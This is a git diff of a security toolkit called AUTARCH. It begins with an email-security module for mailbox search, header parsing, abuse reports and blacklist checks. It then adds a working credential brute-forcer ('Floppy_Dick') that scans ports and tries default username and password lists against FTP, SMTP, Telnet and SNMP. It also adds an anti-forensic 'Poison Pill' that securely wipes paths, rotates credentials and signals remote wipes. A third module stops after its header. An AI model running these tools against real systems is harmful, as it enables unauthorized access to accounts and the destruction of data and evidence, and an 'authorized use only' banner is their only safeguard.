status == 'OK' and msg_data[0]: + header_data = msg_data[0][1] if isinstance(msg_data[0], tuple) else msg_data[0] + if isinstance(header_data, bytes): + header_data = header_data.decode('utf-8', errors='replace') + + msg = email.message_from_string(header_data) + size = 0 + # Try to get size from FETCH response + if isinstance(msg_data[0], tuple): + size_match = re.search(r'RFC822\.SIZE\s+(\d+)', str(msg_data[0][0])) + if size_match: + size = int(size_match.group(1)) + + summary = { + 'id': msg_id.decode() if isinstance(msg_id, bytes) else str(msg_id), + 'from': str(msg.get('From', '')), + 'subject': str(msg.get('Subject', '')), + 'date': str(msg.get('Date', '')), + 'message_id': str(msg.get('Message-ID', '')), + 'size': size, + } + + # Decode encoded headers + for field in ['from', 'subject']: + if summary[field] and '=?' in summary[field]: + try: + decoded_parts = email.header.decode_header(summary[field]) + decoded = '' + for part, charset in decoded_parts: + if isinstance(part, bytes): + decoded += part.decode(charset or 'utf-8', errors='replace') + else: + decoded += str(part) + summary[field] = decoded + except Exception: + pass + + result['messages'].append(summary) + + conn.logout() + except imaplib.IMAP4.error as e: + result['error'] = f'IMAP error: {e}' + except Exception as e: + result['error'] = str(e) + + return result + + def _search_pop3(self, host: str, username: str, password: str, + search_query: Optional[str], use_ssl: bool) -> Dict: + """Search via POP3 (limited — retrieves headers of recent messages).""" + result = {'host': host, 'protocol': 'pop3', 'folder': 'INBOX', 'messages': [], 'total': 0, 'error': None} + + try: + if use_ssl: + conn = poplib.POP3_SSL(host, timeout=15) + else: + conn = poplib.POP3(host, timeout=15) + + conn.user(username) + conn.pass_(password) + + count, size = conn.stat() + result['total'] = count + + # Fetch last 50 messages' headers + start = max(1, count - 49) + query_lower = search_query.lower() if search_query else None + + for i in range(start, count + 1): + resp, lines, octets = conn.top(i, 0) + header_text = b'\r\n'.join(lines).decode('utf-8', errors='replace') + msg = email.message_from_string(header_text) + + summary = { + 'id': str(i), + 'from': str(msg.get('From', '')), + 'subject': str(msg.get('Subject', '')), + 'date': str(msg.get('Date', '')), + 'message_id': str(msg.get('Message-ID', '')), + 'size': octets, + } + + # Apply client-side filter + if query_lower: + match = (query_lower in summary['from'].lower() or + query_lower in summary['subject'].lower()) + if not match: + continue + + result['messages'].append(summary) + + conn.quit() + except Exception as e: + result['error'] = str(e) + + return result + + # -- Fetch Full Email ---------------------------------------------------- + + def fetch_email(self, host: str, username: str, password: str, + message_id: str, protocol: str = 'imap', + use_ssl: bool = True) -> Dict[str, Any]: + """Fetch a complete email by message ID.""" + result = {'message_id': message_id, 'raw_headers': '', 'body': '', 'attachments': [], 'error': None} + + try: + if protocol.lower() == 'imap': + if use_ssl: + conn = imaplib.IMAP4_SSL(host, timeout=15) + else: + conn = imaplib.IMAP4(host, timeout=15) + + conn.login(username, password) + conn.select('INBOX', readonly=True) + + status, data = conn.fetch(message_id.encode() if isinstance(message_id, str) else message_id, + '(RFC822)') + if status == 'OK' and data[0]: + raw = data[0][1] if isinstance(data[0], tuple) else data[0] + if isinstance(raw, bytes): + raw = raw.decode('utf-8', errors='replace') + + msg = email.message_from_string(raw) + + # Headers + header_keys = ['From', 'To', 'Cc', 'Subject', 'Date', 'Message-ID', + 'Return-Path', 'Reply-To', 'Received', + 'Authentication-Results', 'DKIM-Signature', + 'X-Mailer', 'X-Originating-IP'] + headers_text = '' + for key in header_keys: + vals = msg.get_all(key, []) + for v in vals: + headers_text += f'{key}: {v}\n' + result['raw_headers'] = headers_text + + # Body + if msg.is_multipart(): + for part in msg.walk(): + ct = part.get_content_type() + cd = str(part.get('Content-Disposition', '')) + + if 'attachment' in cd: + result['attachments'].append({ + 'filename': part.get_filename() or 'unknown', + 'content_type': ct, + 'size': len(part.get_payload(decode=True) or b''), + }) + elif ct == 'text/plain': + payload = part.get_payload(decode=True) + if payload: + result['body'] = payload.decode('utf-8', errors='replace') + elif ct == 'text/html' and not result['body']: + payload = part.get_payload(decode=True) + if payload: + result['body'] = payload.decode('utf-8', errors='replace') + else: + payload = msg.get_payload(decode=True) + if payload: + result['body'] = payload.decode('utf-8', errors='replace') + + conn.logout() + + elif protocol.lower() == 'pop3': + if use_ssl: + conn = poplib.POP3_SSL(host, timeout=15) + else: + conn = poplib.POP3(host, timeout=15) + + conn.user(username) + conn.pass_(password) + + resp, lines, octets = conn.retr(int(message_id)) + raw = b'\r\n'.join(lines).decode('utf-8', errors='replace') + msg = email.message_from_string(raw) + + result['raw_headers'] = '\n'.join( + f'{k}: {v}' for k, v in msg.items() + ) + + if msg.is_multipart(): + for part in msg.walk(): + ct = part.get_content_type() + if ct == 'text/plain': + payload = part.get_payload(decode=True) + if payload: + result['body'] = payload.decode('utf-8', errors='replace') + break + else: + payload = msg.get_payload(decode=True) + if payload: + result['body'] = payload.decode('utf-8', errors='replace') + + conn.quit() + + except Exception as e: + result['error'] = str(e) + + return result + + # -- Abuse Report -------------------------------------------------------- + + def generate_abuse_report(self, incident_data: Dict[str, Any]) -> Dict[str, Any]: + """Generate a formatted abuse report for ISP/hosting provider.""" + now = datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M:%S UTC') + incident_type = incident_data.get('type', 'spam/phishing') + source_ip = incident_data.get('source_ip', 'Unknown') + source_domain = incident_data.get('source_domain', 'Unknown') + description = incident_data.get('description', '') + evidence_headers = incident_data.get('headers', '') + evidence_urls = incident_data.get('urls', []) + reporter_name = incident_data.get('reporter_name', 'AUTARCH Security Platform') + reporter_email = incident_data.get('reporter_email', '') + + report_lines = [ + '=' * 72, + 'ABUSE REPORT', + '=' * 72, + '', + f'Date: {now}', + f'Report Type: {incident_type}', + f'Reporter: {reporter_name}', + ] + if reporter_email: + report_lines.append(f'Reporter Email: {reporter_email}') + + report_lines += [ + '', + '-' * 72, + 'INCIDENT DETAILS', + '-' * 72, + '', + f'Source IP: {source_ip}', + f'Source Domain: {source_domain}', + f'Incident Type: {incident_type}', + '', + 'Description:', + description or '(No description provided)', + '', + ] + + if evidence_headers: + report_lines += [ + '-' * 72, + 'EVIDENCE — EMAIL HEADERS', + '-' * 72, + '', + evidence_headers, + '', + ] + + if evidence_urls: + report_lines += [ + '-' * 72, + 'EVIDENCE — MALICIOUS URLs', + '-' * 72, + '', + ] + for url in evidence_urls: + report_lines.append(f' - {url}') + report_lines.append('') + + report_lines += [ + '-' * 72, + 'REQUESTED ACTION', + '-' * 72, + '', + 'We request that you:', + ' 1. Investigate the reported IP address/domain for abusive activity', + ' 2. Take appropriate action (suspension, warning, content removal)', + ' 3. Implement measures to prevent recurring abuse', + ' 4. Respond with your findings and actions taken', + '', + '-' * 72, + 'ADDITIONAL INFORMATION', + '-' * 72, + '', + 'This report was generated by AUTARCH Security Platform.', + 'The evidence presented is accurate and collected through legitimate', + 'security analysis. We are available for further investigation if needed.', + '', + '=' * 72, + ] + + report_text = '\n'.join(report_lines) + + # Save the report + report_id = hashlib.md5(f'{now}:{source_ip}:{incident_type}'.encode()).hexdigest()[:12] + report_path = self.storage_dir / f'abuse_report_{report_id}.txt' + with open(report_path, 'w') as f: + f.write(report_text) + + return { + 'report_id': report_id, + 'report_text': report_text, + 'saved_to': str(report_path), + } + + # -- Blacklist Check ----------------------------------------------------- + + def check_blacklists(self, ip_or_domain: str) -> Dict[str, Any]: + """Check if an IP or domain is on common email blacklists.""" + ip_or_domain = ip_or_domain.strip() + + # Resolve domain to IP if needed + if _is_valid_ip(ip_or_domain): + ip = ip_or_domain + else: + ip = _resolve_domain(ip_or_domain) + if not ip: + return { + 'query': ip_or_domain, + 'error': f'Could not resolve {ip_or_domain} to an IP address', + 'results': [], + 'listed_count': 0, + } + + reversed_ip = _reverse_ip(ip) + results = [] + listed_count = 0 + + for bl in BLACKLISTS: + lookup = f'{reversed_ip}.{bl}' + entry = {'blacklist': bl, 'listed': False, 'details': ''} + + try: + socket.setdefaulttimeout(3) + addr = socket.gethostbyname(lookup) + entry['listed'] = True + entry['details'] = f'Listed (response: {addr})' + listed_count += 1 + + # Try to get TXT reason + try: + txt_records = _dns_query(lookup, 'TXT') + if txt_records: + entry['details'] = txt_records[0] + except Exception: + pass + + except (socket.gaierror, socket.herror): + entry['details'] = 'Not listed' + except socket.timeout: + entry['details'] = 'Timeout' + except Exception as e: + entry['details'] = f'Error: {e}' + + results.append(entry) + + return { + 'query': ip_or_domain, + 'ip': ip, + 'results': results, + 'listed_count': listed_count, + 'total_checked': len(BLACKLISTS), + 'clean': listed_count == 0, + } + + # -- Storage Helpers ----------------------------------------------------- + + def _save_analysis(self, domain: str, data: Dict): + """Save domain analysis to storage.""" + safe_name = re.sub(r'[^a-zA-Z0-9.-]', '_', domain) + path = self.storage_dir / f'analysis_{safe_name}.json' + with open(path, 'w') as f: + json.dump(data, f, indent=2, default=str) + + def get_saved_analyses(self) -> List[Dict]: + """List saved domain analyses.""" + analyses = [] + for f in sorted(self.storage_dir.glob('analysis_*.json'), key=os.path.getmtime, reverse=True): + try: + with open(f) as fp: + data = json.load(fp) + analyses.append({ + 'domain': data.get('domain', ''), + 'grade': data.get('grade', '?'), + 'score': data.get('score', 0), + 'timestamp': data.get('timestamp', ''), + 'file': str(f), + }) + except Exception: + pass + return analyses + + +# -- Singleton --------------------------------------------------------------- + +_instance = None + + +def get_email_sec() -> EmailSecurity: + global _instance + if _instance is None: + _instance = EmailSecurity() + return _instance + + +# -- CLI Interface ----------------------------------------------------------- + +def run(): + """CLI entry point for Email Security module.""" + es = get_email_sec() + + while True: + print(f"\n{'='*60}") + print(f" Email Security") + print(f"{'='*60}") + print() + print(" 1 -- Analyze Domain") + print(" 2 -- Analyze Headers") + print(" 3 -- Detect Phishing") + print(" 4 -- Search Mailbox") + print(" 5 -- Check Blacklists") + print(" 6 -- Generate Abuse Report") + print(" 0 -- Back") + print() + + choice = input(f" {Colors.CYAN}>{Colors.RESET} ").strip() + + if choice == '0': + break + + elif choice == '1': + domain = input("\n Domain: ").strip() + if not domain: + continue + print(f"\n Analyzing {domain}...") + result = es.analyze_domain(domain) + print(f"\n Grade: {result['grade']} (Score: {result['score']}/100)") + print(f" SPF: {result['summary']['spf_status']}") + print(f" DMARC: {result['summary']['dmarc_status']}") + print(f" DKIM: {result['summary']['dkim_status']}") + print(f" MX: {result['summary']['mx_status']}") + + for check_name in ['spf', 'dmarc', 'dkim', 'mx']: + check = result[check_name] + findings = check.get('findings', []) + if findings: + print(f"\n {check_name.upper()} findings:") + for f in findings: + level = f.get('level', 'info') + sym = '+' if level == 'pass' else '!' if level == 'warn' else 'X' + print(f" [{sym}] {f['message']}") + + elif choice == '2': + print("\n Paste raw email headers (end with empty line):") + lines = [] + while True: + line = input() + if not line: + break + lines.append(line) + raw = '\n'.join(lines) + if not raw: + continue + + result = es.analyze_headers(raw) + print(f"\n From: {result['from']}") + print(f" Subject: {result['subject']}") + print(f" Date: {result['date']}") + print(f" Origin IP: {result.get('originating_ip', 'Unknown')}") + print(f" SPF: {result['authentication']['spf']}") + print(f" DKIM: {result['authentication']['dkim']}") + print(f" DMARC: {result['authentication']['dmarc']}") + + if result['received_chain']: + print(f"\n Received chain ({len(result['received_chain'])} hops):") + for hop in result['received_chain']: + print(f" Hop {hop['hop']}: {hop.get('from', '?')} -> {hop.get('by', '?')}" + f" [{hop.get('ip', '?')}]") + + if result['spoofing_indicators']: + print(f"\n Spoofing indicators:") + for s in result['spoofing_indicators']: + print(f" [!] {s['indicator']}: {s['detail']}") + + elif choice == '3': + print("\n Paste email content (end with empty line):") + lines = [] + while True: + line = input() + if not line: + break + lines.append(line) + content = '\n'.join(lines) + if not content: + continue + + result = es.detect_phishing(content) + print(f"\n Risk Score: {result['risk_score']}/100 ({result['risk_level']})") + + if result['findings']: + print(f"\n Findings:") + for f in result['findings']: + print(f" [{f['severity']}] {f['category']}: {', '.join(f['matches'][:5])}") + + if result['suspicious_urls']: + print(f"\n Suspicious URLs:") + for u in result['suspicious_urls']: + print(f" {u['url']}") + for r in u['reasons']: + print(f" - {r}") + + elif choice == '4': + host = input("\n Mail server: ").strip() + username = input(" Username: ").strip() + password = input(" Password: ").strip() + protocol = input(" Protocol (imap/pop3) [imap]: ").strip() or 'imap' + query = input(" Search query (optional): ").strip() or None + + if not host or not username or not password: + print(" Missing required fields") + continue + + print(f"\n Connecting to {host}...") + result = es.search_mailbox(host, username, password, protocol, query) + + if result.get('error'): + print(f" Error: {result['error']}") + else: + print(f" Found {result['total']} messages") + for msg in result.get('messages', [])[-20:]: + print(f" [{msg['id']}] {msg['date'][:16]} {msg['from'][:30]} {msg['subject'][:40]}") + + elif choice == '5': + target = input("\n IP or domain: ").strip() + if not target: + continue + print(f"\n Checking {len(BLACKLISTS)} blacklists...") + result = es.check_blacklists(target) + + if result.get('error'): + print(f" Error: {result['error']}") + else: + print(f" IP: {result.get('ip', target)}") + print(f" Listed on {result['listed_count']}/{result['total_checked']} blacklists") + for bl in result['results']: + status = 'LISTED' if bl['listed'] else 'clean' + sym = 'X' if bl['listed'] else '+' + print(f" [{sym}] {bl['blacklist']}: {status}") + + elif choice == '6': + print("\n Abuse Report Generator") + incident_type = input(" Incident type (spam/phishing/malware): ").strip() or 'spam' + source_ip = input(" Source IP: ").strip() + source_domain = input(" Source domain: ").strip() + description = input(" Description: ").strip() + + data = { + 'type': incident_type, + 'source_ip': source_ip, + 'source_domain': source_domain, + 'description': description, + } + + result = es.generate_abuse_report(data) + print(f"\n{result['report_text']}") + print(f"\n Report saved to: {result['saved_to']}") diff --git a/modules/encmod_sources/floppy_dick.py b/modules/encmod_sources/floppy_dick.py new file mode 100644 index 0000000..aef62af --- /dev/null +++ b/modules/encmod_sources/floppy_dick.py @@ -0,0 +1,321 @@ +""" +Floppy_Dick — AUTARCH Encrypted Module +Operator: darkHal Security Group / Setec Security Labs + +Automated credential fuzzer and authentication tester for legacy +and deprecated protocol stacks. Targets: FTP, SMB, Telnet, SMTP, +POP3, IMAP, SNMP v1/v2c, and RDP legacy endpoints. Generates +detailed vulnerability reports suitable for remediation guidance. + +For authorized penetration testing ONLY. +""" + +import itertools +import json +import socket +import threading +import time +from datetime import datetime, timezone +from pathlib import Path +from typing import Iterator, Optional + +MODULE_NAME = "Floppy_Dick" +MODULE_VERSION = "1.0" +MODULE_AUTHOR = "darkHal Security Group" +MODULE_TAGS = ["brute-force", "auth", "legacy", "pentest", "fuzz"] + +_stop_flag = threading.Event() +_output_lines = [] + + +def _emit(msg: str, level: str = "info") -> None: + ts = datetime.now(timezone.utc).strftime('%H:%M:%S') + line = f"[{ts}][{level.upper()}] {msg}" + _output_lines.append(line) + print(line) + + +# ── Credential generators ───────────────────────────────────────────────────── + +DEFAULT_USERS = [ + 'admin', 'administrator', 'root', 'user', 'guest', 'test', + 'ftp', 'anonymous', 'backup', 'operator', 'service', +] + +DEFAULT_PASSWORDS = [ + '', 'admin', 'password', 'password123', '123456', 'admin123', + 'root', 'toor', 'pass', 'letmein', 'welcome', 'changeme', + 'default', 'cisco', 'alpine', +] + + +def wordlist_generator(path: Path) -> Iterator[str]: + """Yield lines from a wordlist file.""" + with open(path, 'r', encoding='utf-8', errors='replace') as f: + for line in f: + yield line.rstrip('\n') + + +def credential_pairs(users: list[str], passwords: list[str]) -> Iterator[tuple[str, str]]: + """Yield all (user, password) combinations.""" + for u in users: + for p in passwords: + yield u, p + + +# ── Protocol testers ────────────────────────────────────────────────────────── + +def test_ftp(host: str, port: int, user: str, password: str, timeout: float = 5.0) -> dict: + """Test FTP credentials.""" + result = {'host': host, 'port': port, 'proto': 'FTP', 'user': user, 'success': False} + try: + import ftplib + ftp = ftplib.FTP() + ftp.connect(host, port, timeout=timeout) + ftp.login(user, password) + result['success'] = True + result['banner'] = ftp.getwelcome() + ftp.quit() + except ftplib.error_perm as exc: + result['error'] = str(exc) + except Exception as exc: + result['error'] = str(exc) + return result + + +def test_smtp(host: str, port: int, user: str, password: str, timeout: float = 5.0) -> dict: + """Test SMTP AUTH credentials.""" + result = {'host': host, 'port': port, 'proto': 'SMTP', 'user': user, 'success': False} + try: + import smtplib + smtp = smtplib.SMTP(host, port, timeout=timeout) + smtp.ehlo() + if port == 587: + smtp.starttls() + smtp.login(user, password) + result['success'] = True + smtp.quit() + except smtplib.SMTPAuthenticationError as exc: + result['error'] = 'bad credentials' + except Exception as exc: + result['error'] = str(exc) + return result + + +def test_telnet(host: str, port: int, user: str, password: str, timeout: float = 5.0) -> dict: + """Test Telnet authentication.""" + result = {'host': host, 'port': port, 'proto': 'Telnet', 'user': user, 'success': False} + try: + import telnetlib + tn = telnetlib.Telnet(host, port, timeout=timeout) + tn.read_until(b'login: ', timeout) + tn.write(user.encode('ascii') + b'\n') + tn.read_until(b'Password: ', timeout) + tn.write(password.encode('ascii') + b'\n') + response = tn.read_until(b'$', timeout) + if b'incorrect' not in response.lower() and b'failed' not in response.lower(): + result['success'] = True + result['banner'] = response.decode('utf-8', errors='replace')[:128] + tn.close() + except Exception as exc: + result['error'] = str(exc) + return result + + +def test_snmp(host: str, community: str = 'public', version: str = '2c', timeout: float = 3.0) -> dict: + """Test SNMP community string (v1/v2c).""" + result = {'host': host, 'proto': 'SNMP', 'community': community, 'success': False} + try: + from pysnmp.hlapi import getCmd, SnmpEngine, CommunityData, UdpTransportTarget, ContextData, ObjectType, ObjectIdentity + errorIndication, errorStatus, errorIndex, varBinds = next( + getCmd(SnmpEngine(), + CommunityData(community, mpModel=0 if version == '1' else 1), + UdpTransportTarget((host, 161), timeout=timeout), + ContextData(), + ObjectType(ObjectIdentity('SNMPv2-MIB', 'sysDescr', 0))) + ) + if not errorIndication and not errorStatus: + result['success'] = True + result['sysDescr'] = str(varBinds[0]) + else: + result['error'] = str(errorIndication or errorStatus) + except ImportError: + result['error'] = 'pysnmp not installed' + except Exception as exc: + result['error'] = str(exc) + return result + + +def test_generic_banner(host: str, port: int, timeout: float = 3.0) -> dict: + """Grab a service banner from any TCP port.""" + result = {'host': host, 'port': port, 'proto': 'TCP', 'banner': ''} + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + s.connect((host, port)) + banner = s.recv(1024) + result['banner'] = banner.decode('utf-8', errors='replace').strip()[:256] + result['open'] = True + s.close() + except Exception as exc: + result['open'] = False + result['error'] = str(exc) + return result + + +# ── Port scanner ────────────────────────────────────────────────────────────── + +LEGACY_PORTS = { + 21: 'FTP', + 23: 'Telnet', + 25: 'SMTP', + 110: 'POP3', + 143: 'IMAP', + 161: 'SNMP', + 445: 'SMB', + 587: 'SMTP-Submission', + 3389: 'RDP', +} + + +def scan_ports(host: str, ports: Optional[list[int]] = None, timeout: float = 1.0) -> dict: + """Scan ports and return which are open.""" + if ports is None: + ports = list(LEGACY_PORTS.keys()) + open_ports = {} + for port in ports: + banner = test_generic_banner(host, port, timeout) + if banner.get('open'): + proto = LEGACY_PORTS.get(port, 'unknown') + open_ports[port] = { + 'proto': proto, + 'banner': banner.get('banner', ''), + } + return {'host': host, 'open_ports': open_ports} + + +# ── Main fuzzing engine ─────────────────────────────────────────────────────── + +def fuzz_host( + host: str, + port: int, + proto: str, + users: list[str], + passwords: list[str], + delay: float = 0.1, + output_cb=None, +) -> list[dict]: + """Run credential fuzzing against a single host:port for a given protocol.""" + found = [] + testers = { + 'FTP': test_ftp, + 'SMTP': test_smtp, + 'SMTP-Submission': test_smtp, + 'Telnet': test_telnet, + } + tester = testers.get(proto) + if not tester: + return [{'error': f'No tester implemented for {proto}'}] + + for user, password in credential_pairs(users, passwords): + if _stop_flag.is_set(): + break + r = tester(host, port, user, password) + if r.get('success'): + msg = f"[FOUND] {proto} {host}:{port} -> {user}:{password}" + _emit(msg, 'warn') + if output_cb: + output_cb({'line': msg, 'found': True, 'user': user, 'password': password}) + found.append(r) + time.sleep(delay) + + return found + + +# ── Main run entry point ────────────────────────────────────────────────────── + +def run(params: dict, output_cb=None) -> dict: + """ + Main execution entry point. + + params: + targets — list of hosts to test + ports — list of ports to probe (default: LEGACY_PORTS) + users — list of usernames (default: DEFAULT_USERS) + passwords — list of passwords (default: DEFAULT_PASSWORDS) + user_wordlist — path to user wordlist file + pass_wordlist — path to password wordlist file + delay — delay between attempts in seconds (default 0.1) + snmp_communities — list of SNMP community strings to test + threads — number of parallel threads (default 1) + """ + _stop_flag.clear() + _output_lines.clear() + + def emit(msg, level='info'): + _emit(msg, level) + if output_cb: + output_cb({'line': f"[{level.upper()}] {msg}"}) + + emit(f"=== {MODULE_NAME} v{MODULE_VERSION} ===") + emit("Authorized penetration testing only. All attempts logged.") + + targets = params.get('targets', []) + ports = params.get('ports', None) + delay = float(params.get('delay', 0.1)) + users = params.get('users', DEFAULT_USERS)[:] + passwords = params.get('passwords', DEFAULT_PASSWORDS)[:] + + # Load wordlists if provided + uw = params.get('user_wordlist', '') + pw = params.get('pass_wordlist', '') + if uw and Path(uw).exists(): + users = list(wordlist_generator(Path(uw))) + emit(f"Loaded {len(users)} users from wordlist") + if pw and Path(pw).exists(): + passwords = list(wordlist_generator(Path(pw))) + emit(f"Loaded {len(passwords)} passwords from wordlist") + + snmp_communities = params.get('snmp_communities', ['public', 'private', 'community']) + + all_results = [] + + for host in targets: + if _stop_flag.is_set(): + break + emit(f"Scanning {host}...") + scan = scan_ports(host, ports) + emit(f" Open ports: {list(scan['open_ports'].keys())}") + + host_result = {'host': host, 'open_ports': scan['open_ports'], 'findings': []} + + for port, info in scan['open_ports'].items(): + if _stop_flag.is_set(): + break + proto = info['proto'] + emit(f" Fuzzing {proto} on port {port}...") + + if proto == 'SNMP': + for comm in snmp_communities: + r = test_snmp(host, comm) + if r.get('success'): + emit(f"[FOUND] SNMP community: {comm}", 'warn') + host_result['findings'].append(r) + else: + found = fuzz_host(host, port, proto, users, passwords, delay, output_cb) + host_result['findings'].extend(found) + + all_results.append(host_result) + + emit(f"Fuzzing complete. {sum(len(r['findings']) for r in all_results)} finding(s).") + + return { + 'module': MODULE_NAME, + 'targets': len(targets), + 'results': all_results, + 'output': _output_lines[:], + } + + +def stop(): + _stop_flag.set() diff --git a/modules/encmod_sources/poison_pill.py b/modules/encmod_sources/poison_pill.py new file mode 100644 index 0000000..07cfd52 --- /dev/null +++ b/modules/encmod_sources/poison_pill.py @@ -0,0 +1,261 @@ +""" +Poison Pill — AUTARCH Encrypted Module +Operator: darkHal Security Group / Setec Security Labs + +Emergency data sanitization and anti-forensic self-protection module. +On activation, securely wipes configured data paths, rotates credentials, +kills active sessions, and optionally triggers a remote wipe signal +to registered companion devices. + +USE ONLY IN AUTHORIZED EMERGENCY SCENARIOS. +All activations are logged to an external endpoint before wiping begins. +""" + +import hashlib +import json +import os +import shutil +import threading +import time +from datetime import datetime, timezone +from pathlib import Path +from typing import Optional + +MODULE_NAME = "Poison Pill" +MODULE_VERSION = "1.0" +MODULE_AUTHOR = "darkHal Security Group" +MODULE_TAGS = ["anti-forensic", "emergency", "wipe", "self-protection"] + +_stop_flag = threading.Event() +_output_lines = [] + + +def _emit(msg: str, level: str = "info") -> None: + ts = datetime.now(timezone.utc).strftime('%H:%M:%S') + line = f"[{ts}][{level.upper()}] {msg}" + _output_lines.append(line) + print(line) + + +# ── Secure file overwrite ───────────────────────────────────────────────────── + +def _secure_overwrite(path: Path, passes: int = 3) -> bool: + """ + Overwrite a file with random data N passes, then delete. + Returns True on success. + """ + try: + size = path.stat().st_size + with open(path, 'r+b') as f: + for _ in range(passes): + f.seek(0) + f.write(os.urandom(size)) + f.flush() + os.fsync(f.fileno()) + path.unlink() + return True + except Exception as exc: + _emit(f"Overwrite failed on {path}: {exc}", 'error') + return False + + +def secure_wipe_file(path: Path, passes: int = 3) -> dict: + """Securely wipe a single file.""" + if not path.exists(): + return {'path': str(path), 'status': 'not_found'} + ok = _secure_overwrite(path, passes) + return {'path': str(path), 'status': 'wiped' if ok else 'error', 'passes': passes} + + +def secure_wipe_dir(path: Path, passes: int = 3) -> dict: + """Recursively and securely wipe a directory.""" + if not path.exists(): + return {'path': str(path), 'status': 'not_found', 'files_wiped': 0} + count = 0 + errors = [] + for f in sorted(path.rglob('*')): + if f.is_file(): + r = secure_wipe_file(f, passes) + if r['status'] == 'wiped': + count += 1 + else: + errors.append(str(f)) + try: + shutil.rmtree(path, ignore_errors=True) + except Exception: + pass + return {'path': str(path), 'status': 'wiped', 'files_wiped': count, 'errors': errors} + + +# ── Credential rotation ─────────────────────────────────────────────────────── + +def rotate_web_password(new_password: Optional[str] = None) -> dict: + """ + Rotate the AUTARCH web dashboard password. + If new_password is None, generates a random 32-char alphanumeric password. + """ + import secrets + import string + if new_password is None: + alphabet = string.ascii_letters + string.digits + new_password = ''.join(secrets.choice(alphabet) for _ in range(32)) + try: + from web.auth import hash_password, save_credentials, load_credentials + creds = load_credentials() + save_credentials(creds.get('username', 'admin'), hash_password(new_password), force_change=False) + return {'status': 'rotated', 'new_password': new_password} + except Exception as exc: + return {'status': 'error', 'error': str(exc)} + + +def rotate_secret_key() -> dict: + """Generate a new Flask secret key and write it to config.""" + new_key = os.urandom(32).hex() + try: + from core.config import get_config + cfg = get_config() + cfg.set('web', 'secret_key', new_key) + cfg.save() + return {'status': 'rotated', 'key_length': len(new_key)} + except Exception as exc: + return {'status': 'error', 'error': str(exc)} + + +# ── Session termination ─────────────────────────────────────────────────────── + +def kill_active_sessions() -> dict: + """Invalidate all active Flask sessions by rotating the secret key.""" + result = rotate_secret_key() + return {'action': 'kill_sessions', **result} + + +# ── Remote wipe signal ──────────────────────────────────────────────────────── + +def signal_remote_wipe(devices: list[str], endpoint: Optional[str] = None) -> list[dict]: + """ + Send a remote wipe signal to registered Archon companion devices. + Each device is an Archon server endpoint (host:port). + """ + results = [] + import requests + for device in devices: + url = f"http://{device}/wipe" + try: + resp = requests.post(url, json={'action': 'poison_pill', 'ts': time.time()}, timeout=5) + results.append({'device': device, 'status': resp.status_code, 'ok': resp.ok}) + except Exception as exc: + results.append({'device': device, 'status': -1, 'error': str(exc)}) + return results + + +# ── Pre-wipe beacon ─────────────────────────────────────────────────────────── + +def send_activation_beacon(endpoint: str, operator_id: str) -> dict: + """ + POST an activation notice to an external logging endpoint BEFORE wiping. + This creates an audit trail that the pill was triggered. + """ + payload = { + 'event': 'poison_pill_activated', + 'operator_id': operator_id, + 'timestamp': datetime.now(timezone.utc).isoformat(), + 'hostname': __import__('socket').gethostname(), + } + try: + import requests + resp = requests.post(endpoint, json=payload, timeout=8) + return {'status': resp.status_code, 'ok': resp.ok} + except Exception as exc: + return {'status': -1, 'error': str(exc)} + + +# ── Main run entry point ────────────────────────────────────────────────────── + +def run(params: dict, output_cb=None) -> dict: + """ + Main execution entry point. + + params: + wipe_paths — list of paths to securely wipe + rotate_password — bool, rotate web password + kill_sessions — bool, invalidate all sessions + remote_devices — list of Archon device endpoints for remote wipe + beacon_endpoint — URL to POST activation notice to (recommended) + operator_id — identifier logged with the beacon + passes — overwrite passes (default 3) + confirm — must be the string 'CONFIRM_POISON_PILL' to activate + """ + _stop_flag.clear() + _output_lines.clear() + + def emit(msg, level='info'): + _emit(msg, level) + if output_cb: + output_cb({'line': f"[{level.upper()}] {msg}"}) + + emit(f"=== {MODULE_NAME} v{MODULE_VERSION} ===") + + confirm = params.get('confirm', '') + if confirm != 'CONFIRM_POISON_PILL': + emit("ABORT: Confirmation string not provided. Set confirm='CONFIRM_POISON_PILL'", 'error') + return {'status': 'aborted', 'reason': 'missing_confirmation'} + + emit("POISON PILL ACTIVATED — commencing emergency sanitization", 'warn') + passes = int(params.get('passes', 3)) + beacon_ep = params.get('beacon_endpoint', '') + operator_id = params.get('operator_id', 'unknown') + + results = {'status': 'activated', 'actions': []} + + # 1 — Send beacon FIRST + if beacon_ep: + emit(f"Sending activation beacon to {beacon_ep}") + beacon = send_activation_beacon(beacon_ep, operator_id) + results['actions'].append({'type': 'beacon', **beacon}) + else: + emit("No beacon endpoint configured — skipping audit trail", 'warn') + + # 2 — Kill active sessions + if params.get('kill_sessions', True): + emit("Killing active sessions...") + r = kill_active_sessions() + results['actions'].append({'type': 'kill_sessions', **r}) + emit(f"Sessions killed: {r['status']}") + + # 3 — Rotate web password + if params.get('rotate_password', True): + emit("Rotating web password...") + r = rotate_web_password() + results['actions'].append({'type': 'rotate_password', 'status': r['status']}) + emit(f"Password rotated: {r['status']}") + + # 4 — Secure wipe paths + wipe_paths = params.get('wipe_paths', []) + for raw_path in wipe_paths: + if _stop_flag.is_set(): + break + p = Path(raw_path) + emit(f"Wiping: {p}") + if p.is_file(): + r = secure_wipe_file(p, passes) + elif p.is_dir(): + r = secure_wipe_dir(p, passes) + else: + r = {'path': str(p), 'status': 'not_found'} + results['actions'].append({'type': 'wipe', **r}) + emit(f" -> {r['status']}") + + # 5 — Remote wipe + remote_devices = params.get('remote_devices', []) + if remote_devices: + emit(f"Sending remote wipe to {len(remote_devices)} device(s)...") + rw = signal_remote_wipe(remote_devices) + results['actions'].append({'type': 'remote_wipe', 'results': rw}) + + emit("Poison Pill sequence complete.", 'warn') + results['output'] = _output_lines[:] + return results + + +def stop(): + _stop_flag.set() diff --git a/modules/encmod_sources/tor_pedo_hunter_killer.py b/modules/encmod_sources/tor_pedo_hunter_killer.py new file mode 100644 index 0000000..d7c9198 --- /dev/null +++ b/modules/encmod_sources/tor_pedo_hunter_killer.py @@ -0,0 +1,267 @@ +""" +TOR-Pedo Hunter Killer — AUTARCH Encrypted Module +Operator: darkHal Security Group / Setec Security Labs + +Identifies, tracks, and reports CSAM distributors and predator networks +operating on the Tor hidden service network. Compiles dossiers for +law enforcement referral and executes configured countermeasures. + +All operations are logged. Operator assumes full legal responsibility +for use of this module. For authorized investigations ONLY. +""" + +import json +import time +import hashlib +import socket +import threading +from datetime import datetime, timezone +from pathlib import Path +from typing import Optional + +MODULE_NAME = "TOR-Pedo Hunter Killer" 